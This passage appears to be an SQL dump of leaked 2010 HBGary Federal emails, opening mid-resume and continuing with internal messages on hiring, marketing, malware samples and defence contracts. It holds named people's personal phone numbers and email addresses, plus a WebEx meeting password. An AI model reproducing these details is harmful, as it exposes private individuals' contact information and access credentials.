transportation security events.\r\n Facilitates an open exchange of ideas and fosters atmosphere of open communication among co-workers and sister agencies.\r\n \r\n  \r\n      AIR FORCE OPERATION CENTER EXPERIENCES \r\n       \r\n July\r\n 2000 – Mar 2006\r\n       Signals Intelligence Collection Supervisor\r\n   \r\n \r\nWork center supervisor of the Target Research Cell (TRC) of the Meade Operations Center (MOC) at the National Security Agency (NSA). Assumed Senior Mission Controller role in absence of GS-13 civilian.\r\n Responsible for the technical and professional development of ten joint service members and civilians assigned to TRC.\r\n \r\nFirst line supervisor for eleven Air Force members within the Ft Meade Operations Center. Directed collection efforts against targets using over $100 million in conventional and overhead assets.\r\n Briefed VIPs on TRC capabilities, achievements, and future tasks. \r\n   \r\nSpace Systems/Intelligence Analyst\r\n  \r\n Mission Supervisor role during high staffing turnover. \r\nAchieved the rank of Staff Sergeant in first round testing. Led class on procedures for mandatory training requirements.\r\n \r\nTrained five space system analysts; all certified with outstanding results.\r\n Performed mission operations for a selectively-manned detachment under a Secretary of the Air Force directed program to provide tailored critical intelligence to national consumers.\r\n    \r\nIntelligence Analyst/Systems Technician\r\n  \r\n Supervised a team of six joint service members; recognized by higher management for having best section in the division.\r\n Trained eight joint service technicians; all certified with outstanding results.\r\n Conducted numerous tours of operations floor to all incoming personnel and visitors.\r\n \r\n   \r\n    Education \r\n  University of Phoenix\r\n\r\nA.S. in Criminal Justice \r\n   \r\nAmerican Military University \r\nB.S. in Public Health \r\nCandidate M.A. in Emergency and Disaster Management\r\n   \r\nU.S Air Force National Cryptologic School\r\n \r\nSupervisor Safety  Train the Trainer\r\n   \r\nTechnical Experience \r\n  \r\nCertified in Analyst Notebook Training through i2 Inc. \r\nExperienced in several software programs within the customer agency Experience with Windows XP, Outlook, Power Point, Excel, Access, MS Word\r\n    \r\n\r\n       References: Available upon request.\r\n \r\n\r\n\r\n\r\n\r\n		\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSUMMARY\r\n\r\n^BACK TO TOP\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCurrent Career Level:\r\nManager (Manager/Supervisor of Staff)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nYears of relevant work experience:\r\n5+ to 7 Years\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWork Status:\r\nUS - I am authorized to work in this country for any employer.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nActive Security Clearance:\r\nYes\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nUS Military Service:\r\nYes\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTarget Job:\r\nTarget Job Title:\r\nIntelligence Analyst/ Intelligence Collections Supervisor\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDesired Job Type:\r\nEmployeeTemporary/Contract/Project\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDesired Status:\r\nFull-Time\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTarget Company:\r\nIndustry:\r\nGovernment and MilitarySecurity and Surveillance\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOccupation:\r\nSecurity/Protective ServicesMilitary Combat\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTarget Locations:\r\nSelected Locations:\r\nUS-SC-Columbia\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nRelocate:\r\nYes\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWillingness to travel:\r\nUp to 25% travel\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n		\r\n		\r\n\r\nExperience:\r\n - Present\r\nProfessional Solutions\r\n, \r\n\r\n\r\n\r\n          \r\n					Industry: no industry preference\r\n\r\n\r\n\r\nWatch Officer\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n		\r\n		\r\n		\r\n		\r\n		\r\n	\r\n	\r\n	\r\n	\r\n		\r\n	\r\n\r\n\r\n	\r\n	\r\n\r\n\r\n\r\n\r\n\r\n',13051,'aaron_hbgary_com/13051.html'),(5346,'2010-04-14','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003882.M622993P14101Q201.eml','\"Barr Aaron\" <aaron@hbgary.com>','IO Lawyer','Dave Willson\r\n719 282 1065\r\nRetiring from Army JAG soon\r\nSpecializes in CNA CNE PSYOPs\r\nHas supported SOCOM activities\r\nReferred and introduced by Scott Chappell\r\n',5533,'aaron_hbgary_com/5533.html'),(5347,'2010-04-15','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003882.M846385P14101Q202.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Re: IO Lawyer','Just got off the phone with Dave.  Very impressive guy.  Has tons of\r\ncyber experience.  SOCOM, NSA, etc.  Cyber Law Expert and CISSP.\r\n\r\nwillson.david.l@gmail.com\r\nWork: 719-554-2129\r\nAvailable on/about 1 May.\r\nInterested in establishing an open-end consulting agreement (like Mike T).\r\n\r\n\r\n\r\nOn 4/14/10 5:51 PM, Ted Vera wrote:\r\n> Dave Willson\r\n> 719 282 1065\r\n> Retiring from Army JAG soon\r\n> Specializes in CNA CNE PSYOPs\r\n> Has supported SOCOM activities\r\n> Referred and introduced by Scott Chappell\r\n\r\n',16208,'aaron_hbgary_com/16208.html'),(5348,'2010-04-15','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297003889.M180785P14101Q203.eml','all@hbgary.com,\"Karen Burke\" <karenmaryburke@yahoo.com>','Ticker for threat monitoring center now online',' \r\nAll,\r\n \r\nThanks to the hard work of Michael and also Martin, the ticker is now running on the HBGary homepage.  Statistics are generated directly from the daily feed processing in the threat monitoring center.  If you have any ideas about what stats to query, let me or Martin know.\r\n\r\n \r\n-Greg\r\n',3009,'aaron_hbgary_com/3009.html'),(5349,'2010-04-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003889.M438505P14101Q204.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: Ticker for threat monitoring center now online','Greg,\r\n\r\nThe data on the ticker is great.\r\n\r\n\r\nOn Apr 14, 2010, at 8:51 PM, Greg Hoglund wrote:\r\n\r\n>  \r\n> All,\r\n>  \r\n> Thanks to the hard work of Michael and also Martin, the ticker is now running on the HBGary homepage.  Statistics are generated directly from the daily feed processing in the threat monitoring center.  If you have any ideas about what stats to query, let me or Martin know.\r\n>  \r\n> -Greg\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',6258,'aaron_hbgary_com/6258.html'),(5350,'2010-04-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003889.M902384P14101Q205.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: Ticker for threat monitoring center now online','on the new panel for active defense.  What are the #\'s: 10,000 Notes, 52 Minutes, 11 Malware.\r\n\r\nAaron\r\n\r\nOn Apr 14, 2010, at 8:51 PM, Greg Hoglund wrote:\r\n\r\n>  \r\n> All,\r\n>  \r\n> Thanks to the hard work of Michael and also Martin, the ticker is now running on the HBGary homepage.  Statistics are generated directly from the daily feed processing in the threat monitoring center.  If you have any ideas about what stats to query, let me or Martin know.\r\n>  \r\n> -Greg\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',10193,'aaron_hbgary_com/10193.html'),(5351,'2010-04-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003890.M128338P14101Q206.eml','\"Steve Winterfeld\" <winterfeldsj@gmail.com>','Website','http://www.malwaredomainlist.com/\r\nhttp://anubis.iseclab.org/\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',7588,'aaron_hbgary_com/7588.html'),(5352,'2010-04-15','\"Irby Thompson\" <irby@pikewerks.com>','/aaron@hbgary.com/new/1297003891.M148777P14101Q207.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: still want to get together this afternoon','Hi Aaron, \r\n\r\nMy number is 202.341.5999.\r\n\r\n	Regards,\r\n	Irby\r\n\r\n\r\nOn Apr 14, 2010, at 2:33 PM, Aaron Barr wrote:\r\n\r\n> Sounds good.\r\n> \r\n> Whats your #?\r\n> Aaron\r\n> \r\n> On Apr 12, 2010, at 9:09 PM, Irby Thompson wrote:\r\n> \r\n>> Great,\r\n>> \r\n>> Let\'s do lunch on Tuesday April 27th.\r\n>> \r\n>> 	-Irby\r\n>> \r\n>> \r\n>> On Apr 12, 2010, at 9:00 PM, Aaron Barr wrote:\r\n>> \r\n>>> Yep I am open.\r\n>>> \r\n>>> From my iPhone\r\n>>> \r\n>>> On Apr 12, 2010, at 8:58 PM, Irby Thompson  wrote:\r\n>>> \r\n>>>> I am traveling Monday and Tuesday (Dallas), and will be back\r\n>>>> Wednesday-Friday.\r\n>>>> The following week is wide open...how about your schedule?\r\n>>>> \r\n>>>> -Irby\r\n>>>> \r\n>>>> \r\n>>>> On Apr 12, 2010, at 6:04 PM, Aaron Barr wrote:\r\n>>>> \r\n>>>>> No worries.  Let\'s schedule something up next week.  I have some\r\n>>>>> meetings mon and tues and traveling we\'d-fri.  So if u have some\r\n>>>>> times\r\n>>>>> on mon or tues.\r\n>>>>> \r\n>>>>> Aaron\r\n>>>>> \r\n>>>>> From my iPhone\r\n>>>>> \r\n>>>>> On Apr 12, 2010, at 5:17 PM, Irby Thompson \r\n>>>>> wrote:\r\n>>>>> \r\n>>>>>> Aaron,\r\n>>>>>> \r\n>>>>>> This week is pretty crazy for us with the DoD Anti-Tamper\r\n>>>>>> conference. Friday looks like the only possibility - you up for\r\n>>>>>> lunch?\r\n>>>>>> \r\n>>>>>> Regards,\r\n>>>>>> Irby\r\n>>>>>> \r\n>>>>>> \r\n>>>>>> On Apr 9, 2010, at 11:33 AM, Aaron Barr wrote:\r\n>>>>>> \r\n>>>>>>> sure no problem.\r\n>>>>>>> \r\n>>>>>>> On Apr 9, 2010, at 11:31 AM, Irby Thompson wrote:\r\n>>>>>>> \r\n>>>>>>>> Do you mind if we move to next week, I am frantically trying to\r\n>>>>>>>> finish a proposal.\r\n>>>>>>>> \r\n>>>>>>>> \r\n>>>>>>>> \r\n>>>>>>>> \r\n>>>>>>>> \r\n>>>>>>>> On Apr 9, 2010, at 10:52 AM, Aaron Barr  wrote:\r\n>>>>>>>> \r\n>>>>>>>>> \r\n>>>>>>>>> Aaron Barr\r\n>>>>>>>>> CEO\r\n>>>>>>>>> HBGary Federal Inc.\r\n>>>>>>>>> \r\n>>>>>>>>> \r\n>>>>>>>>> \r\n>>>>>>> \r\n>>>>>>> Aaron Barr\r\n>>>>>>> CEO\r\n>>>>>>> HBGary Federal Inc.\r\n>>>>>>> \r\n>>>>>>> \r\n>>>>>>> \r\n>>>>>> \r\n>>>> \r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n\r\n',3444,'aaron_hbgary_com/3444.html'),(5353,'2010-04-15','\"steve winterfeld\" <winterfeldsj@gmail.com>','/aaron@hbgary.com/new/1297003891.M412637P14101Q208.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Website','Thanks\r\n\r\n\r\nOn 4/14/10, Aaron Barr  wrote:\r\n> http://www.malwaredomainlist.com/\r\n> http://anubis.iseclab.org/\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n\r\n-- \r\nSent from my mobile device\r\n',13411,'aaron_hbgary_com/13411.html'),(5354,'2010-04-15','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003892.M895194P14101Q209.eml','willson.david.l@gmail.com,\"Aaron Barr\" <aaron@hbgary.com>','HBGary','Hi David,\r\n\r\nIt was a pleasure speaking with you.  I look forward to the possibility\r\nof establishing a consulting agreement with you to assist us with IO and\r\nforensics / incident response activities.  Attached is a recent\r\nwhitepaper we published which demonstrates our malware reverse\r\nengineering and analysis capabilities.  You can learn more about HBGary\r\nby visiting http://www.hbgary.com\r\n\r\nPlease forward your resume at your convenience.\r\n\r\nRegards,\r\nTed\r\n\r\n\r\n\r\n---\r\nTed Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',12355,'aaron_hbgary_com/12355.html'),(5355,'2010-04-15','\"Phil Wallisch\" <phil@hbgary.com>','/aaron@hbgary.com/new/1297003893.M333784P14101Q210.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Telecon','I&#39;m sorry I couldn&#39;t link up today.  If you&#39;re free late afternoon tomorrow I should be around.  On Wed, Apr 14, 2010 at 11:37 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nHey Phil,\r\n\r\nHave some time early afternoon for a telecon/webex to go over some things?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n-- Phil Wallisch | Sr. Security Engineer | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n\r\n',4237,'aaron_hbgary_com/4237.html'),(5356,'2010-04-15','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297003893.M563841P14101Q211.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Ticker for threat monitoring center now online','The time it took to scan 10,000 nodes with Active Defense, 11 malware installs were found.\r\n \r\n-Greg\r\nOn Wed, Apr 14, 2010 at 6:09 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\non the new panel for active defense.  What are the #&#39;s: 10,000 Notes, 52 Minutes, 11 Malware.\r\nAaron\r\nOn Apr 14, 2010, at 8:51 PM, Greg Hoglund wrote:&gt;\r\n\r\n\r\n&gt; All,&gt;&gt; Thanks to the hard work of Michael and also Martin, the ticker is now running on the HBGary homepage.  Statistics are generated directly from the daily feed processing in the threat monitoring center.  If you have any ideas about what stats to query, let me or Martin know.\r\n&gt;&gt; -Greg\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n',8943,'aaron_hbgary_com/8943.html'),(5357,'2010-04-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003893.M791028P14101Q212.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: Ticker for threat monitoring center now online','Ah got it. &nbsp;Hmm. that was easy.I am going in to NSA next week to have a classified conversation about their efforts around malware analysis, threat intelligence and how we might be able to help. &nbsp;I let you know how it goes. &nbsp;I would like to have a brief conversation with you sometime this week if you have some time to make sure I have all the recent details about Active Defense, DDNA, TMC.AaronOn Apr 14, 2010, at 10:55 PM, Greg Hoglund wrote:The time it took to scan 10,000 nodes with Active Defense, 11 malware installs were found.\r\n&nbsp;\r\n-Greg\r\nOn Wed, Apr 14, 2010 at 6:09 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\non the new panel for active defense. &nbsp;What are the #\'s: 10,000 Notes, 52 Minutes, 11 Malware.\r\nAaron\r\nOn Apr 14, 2010, at 8:51 PM, Greg Hoglund wrote:&gt;\r\n\r\n\r\n&gt; All,&gt;&gt; Thanks to the hard work of Michael and also Martin, the ticker is now running on the HBGary homepage. &nbsp;Statistics are generated directly from the daily feed processing in the threat monitoring center. &nbsp;If you have any ideas about what stats to query, let me or Martin know.\r\n&gt;&gt; -Greg\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',5862,'aaron_hbgary_com/5862.html'),(5358,'2010-04-15','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003894.M87733P14101Q213.eml','\"Aaron Barr\" <aaron@hbgary.com>','Fwd: (Forward to attendees) Please join now, meeting in progress: PRICING','\r\n\r\n-------- Original Message --------\r\nSubject: (Forward to attendees) Please join now, meeting in progress:\r\nPRICING\r\nDate: Thu, 15 Apr 2010 04:26:02 GMT\r\nFrom: Ted Vera \r\nReply-To: ted@hbgary.com\r\nTo: ted@hbgary.com\r\n\r\n\r\n**** You can forward this email invitation to attendees ****\r\n\r\nHello ,\r\n\r\nPlease join my meeting that is currently in progress.\r\n\r\nTopic: PRICING\r\nDate: Wednesday, April 14, 2010\r\nTime: 10:26 pm, Mountain Daylight Time (Denver, GMT-06:00)\r\nMeeting Number: 858 934 715\r\nMeeting Password: aaron\r\n\r\n\r\n-------------------------------------------------------\r\nTo join the online meeting (Now from iPhones too!)\r\n-------------------------------------------------------\r\n1. Go to\r\nhttps://hbgary.webex.com/hbgary/e.php?AT=MI&EventID=7422328&UID=0&PW=NYjA2YWNiMDFm&RT=MiM2\r\n2. If requested, enter your name and email address.\r\n3. If a password is required, enter the meeting password: aaron\r\n4. Click \"Join\".\r\n5. Follow the instructions that appear on your screen.\r\n\r\nTo view in other time zones or languages, please click the link:\r\nhttps://hbgary.webex.com/hbgary/e.php?AT=MI&EventID=7422328&UID=0&PW=NYjA2YWNiMDFm&ORT=MiM2\r\n\r\n-------------------------------------------------------\r\nTo join the audio conference only\r\n-------------------------------------------------------\r\nCall-in toll number (US/Canada): 1-408-792-6300\r\n\r\nAccess code:858 934 715\r\n\r\n-------------------------------------------------------\r\nFor assistance\r\n-------------------------------------------------------\r\n1. Go to https://hbgary.webex.com/hbgary/mc\r\n2. On the left navigation bar, click \"Support\".\r\n\r\nYou can contact me at:\r\nted@hbgary.com\r\n\r\n\r\nSign up for a free trial of WebEx\r\nhttp://www.webex.com/go/mcemfreetrial\r\n\r\nhttp://www.webex.com\r\n\r\n\r\n\r\nIMPORTANT NOTICE: This WebEx service includes a feature that allows\r\naudio and any documents and other materials exchanged or viewed during\r\nthe session to be recorded. By joining this session, you automatically\r\nconsent to such recordings. If you do not consent to the recording, do\r\nnot join the session.\r\n',13197,'aaron_hbgary_com/13197.html'),(5359,'2010-04-15','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003896.M604630P14101Q214.eml','\"Aaron Barr\" <aaron@hbgary.com>','Powerpoint','Charts\r\n\r\n',2284,'aaron_hbgary_com/2284.html'),(5360,'2010-04-15','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297003897.M136158P14101Q215.eml','\"Aaron Barr\" <aaron@hbgary.com>','Question for You','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nXetron, do they have malware?&nbsp; Can we get a feed from them?\r\nOr at least perhaps advanced samples?&nbsp; Are they going to training?\r\n\r\n&nbsp;\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for&nbsp;&nbsp; delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12034,'aaron_hbgary_com/12034.html'),(5361,'2010-04-15','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297003897.M467864P14101Q216.eml','\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Updated Pipeline','It looks good if you get the work.  I really think you guys need to be\r\nputting together offerings we can sell.  IR, Forensics, etc.  We should have\r\nwrite ups, costs etc.  Are you working on these?  What about a website?\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com] \r\nSent: Tuesday, April 13, 2010 9:15 AM\r\nTo: Penny Leavy-Hoglund; \'Aaron Barr\'\r\nSubject: Updated Pipeline\r\n\r\nPenny,\r\n\r\nAttached is the 2010 HBGary Federal Pipeline that Aaron and I updated this\r\nmorning.  As you can see, we have lots of irons in the fire, many of which\r\nwe\'re just awaiting award announcements for.\r\n\r\nRegards,\r\nTed\r\n\r\n\r\n\r\n\r\n',10234,'aaron_hbgary_com/10234.html'),(5362,'2010-04-15','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297003897.M712877P14101Q217.eml','\"Aaron Barr\" <aaron@hbgary.com>','Status on Speaker for Webinar','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nJim Lewis OR the Shadow Net people?\r\n\r\n&nbsp;\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for&nbsp;&nbsp; delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16212,'aaron_hbgary_com/16212.html'),(5363,'2010-04-15','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297003897.M951263P14101Q218.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','RE: New Tagline Contenders (PDF attached)','I like Maria\'s suggestion, Defeating Tomorrow\'s Threat Today.  Countering is\r\ngreat for gov\'t, not sure it translates as well into Enterprise, but I will\r\ncheck.  Maria is right, people think we only detect, not that there is\r\nability to stop or \"actionable intelligence\"\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, April 14, 2010 9:36 AM\r\nTo: Greg Hoglund\r\nCc: all@hbgary.com; Karen Burke\r\nSubject: Re: New Tagline Contenders (PDF attached)\r\n\r\nI like #3 as a logo, but I love the tagline Detecting(Countering) Tomorrow\'s\r\nThreat today.\r\n\r\nReason:\r\nEnterprise Threat Intelligence tells me something about what you provide, it\r\nhas a product statement in the logo.  It leads me.\r\n\r\nDetecting or Countering tomorrows threat today doesn\'t do that, its more\r\nambiguous.  Threat Intelligence, well I need me some of that.  Counter\r\ntommorows threats, well I want to do that yes, but how, through threat\r\nintelligence...\r\n\r\nI would use #3 and on business cards, website, anywhere the logo exists I\r\nwould use the phrase, \"Countering (or Detecting) Tomorrow\'s Threat Today\".\r\n\r\nAaron\r\n\r\nOn Apr 14, 2010, at 10:17 AM, Greg Hoglund wrote:\r\n\r\n>  \r\n> OK, three taglines in the finals.\r\n>  \r\n> -Greg\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n',8135,'aaron_hbgary_com/8135.html'),(5364,'2010-04-15','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297003901.M735867P14101Q219.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: FBO Watch List Notifications','Crap.  Well, attached is as far as I got, until I received this email\r\nin my box.  Response date was extended, correction below.  I think we\r\nshould still send it this week.  What do you think?\r\n\r\nSend Responses:\r\nSend white paper and quad chart responses by 3 P.M. EST, April\r\n15,September 30, 2010 by email to jerry.mcghee@socom.mil.\r\n\r\nThis notice was amended on 14 APR 2010 to extend the RFI answering\r\nperiod to 30 SEP 2010.  It is anticipated that an RFP will not be\r\naccepted nor released in FY2011.\r\n\r\n\r\n\r\n---------- Forwarded message ----------\r\nFrom:  \r\nDate: Thu, Apr 15, 2010 at 1:03 AM\r\nSubject: FBO Watch List Notifications\r\nTo: ted@hbgary.com\r\n\r\n\r\nThursday, April 15, 2010, 03:03 am\r\n\r\nDear Ted H. Vera:\r\n\r\nThis message has been sent to inform you of update(s) to\r\nsolicitation(s) where you have either expressed vendor interest in the\r\nopportunity, or placed the notice on your watchlist.  Please see the\r\ndetails below.\r\n\r\nDetails\r\n------------------\r\n\r\n       Top Level Agency: Other Defense Agencies\r\n       Office: U.S. Special Operations Command\r\n       Location: Headquarters Procurement Division\r\n\r\n               Solicitation #: H92222-10-T-0006\r\n               Title: PSYOP Sources Sought\r\n               Link:\r\nhttps://www.fbo.gov/spg/ODA/USSOCOM/SOAL-KB/H92222-10-T-0006/listing.html\r\n\r\n                 A change has been posted: Apr 14, 2010 3:46 pm\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',10003,'aaron_hbgary_com/10003.html'),(5365,'2010-04-15','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297003901.M973376P14101Q220.eml','\"Barr Aaron\" <aaron@hbgary.com>','.Mac Reader: Slashdot','feed://rss.slashdot.org/Slashdot/slashdot\r\n\r\n\r\nSent from my iPad\r\n',8767,'aaron_hbgary_com/8767.html'),(5366,'2010-04-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003902.M185244P14101Q221.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Question for You','They don&#39;t have malware.  They want ours.From my iPhoneOn Apr 15, 2010, at 1:50 AM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nXetron, do they have malware?  Can we get a feed from them?\r\nOr at least perhaps advanced samples?  Are they going to training?\r\n\r\n \r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n \r\n\r\n \r\n\r\nNOTICE – Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on the taxpayer.  (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n \r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for   delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4709,'aaron_hbgary_com/4709.html'),(5367,'2010-04-15','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297003902.M392611P14101Q222.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Question for You','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nOK, that&#8217;s good to know.&nbsp; \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, April 15, 2010 4:14 AM\r\nTo: Penny Leavy-Hoglund\r\nSubject: Re: Question for You\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nThey don\'t have malware. &nbsp;They want ours.\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 15, 2010, at 1:50 AM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nXetron,\r\ndo they have malware?&nbsp; Can we get a feed from them? Or at least perhaps\r\nadvanced samples?&nbsp; Are they going to training?\r\n\r\n&nbsp;\r\n\r\nPenny\r\nC. Leavy\r\n\r\nPresident\r\n\r\nHBGary,\r\nInc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any\r\ntax information or written tax advice contained herein (including attachments)\r\nis not intended to be and cannot be used by any taxpayer for the purpose of\r\navoiding tax penalties that may be imposed on&nbsp;the taxpayer.&nbsp; (The\r\nforegoing legend has been affixed pursuant to U.S. Treasury regulations\r\ngoverning tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and any attached files may\r\ncontain information that is confidential and/or subject of legal privilege\r\nintended only for use by the intended recipient. If you are not the intended\r\nrecipient or the person responsible for&nbsp;&nbsp; delivering the message to\r\nthe intended recipient, be advised that you have received this message in error\r\nand that any dissemination, copying or use of this message or attachment 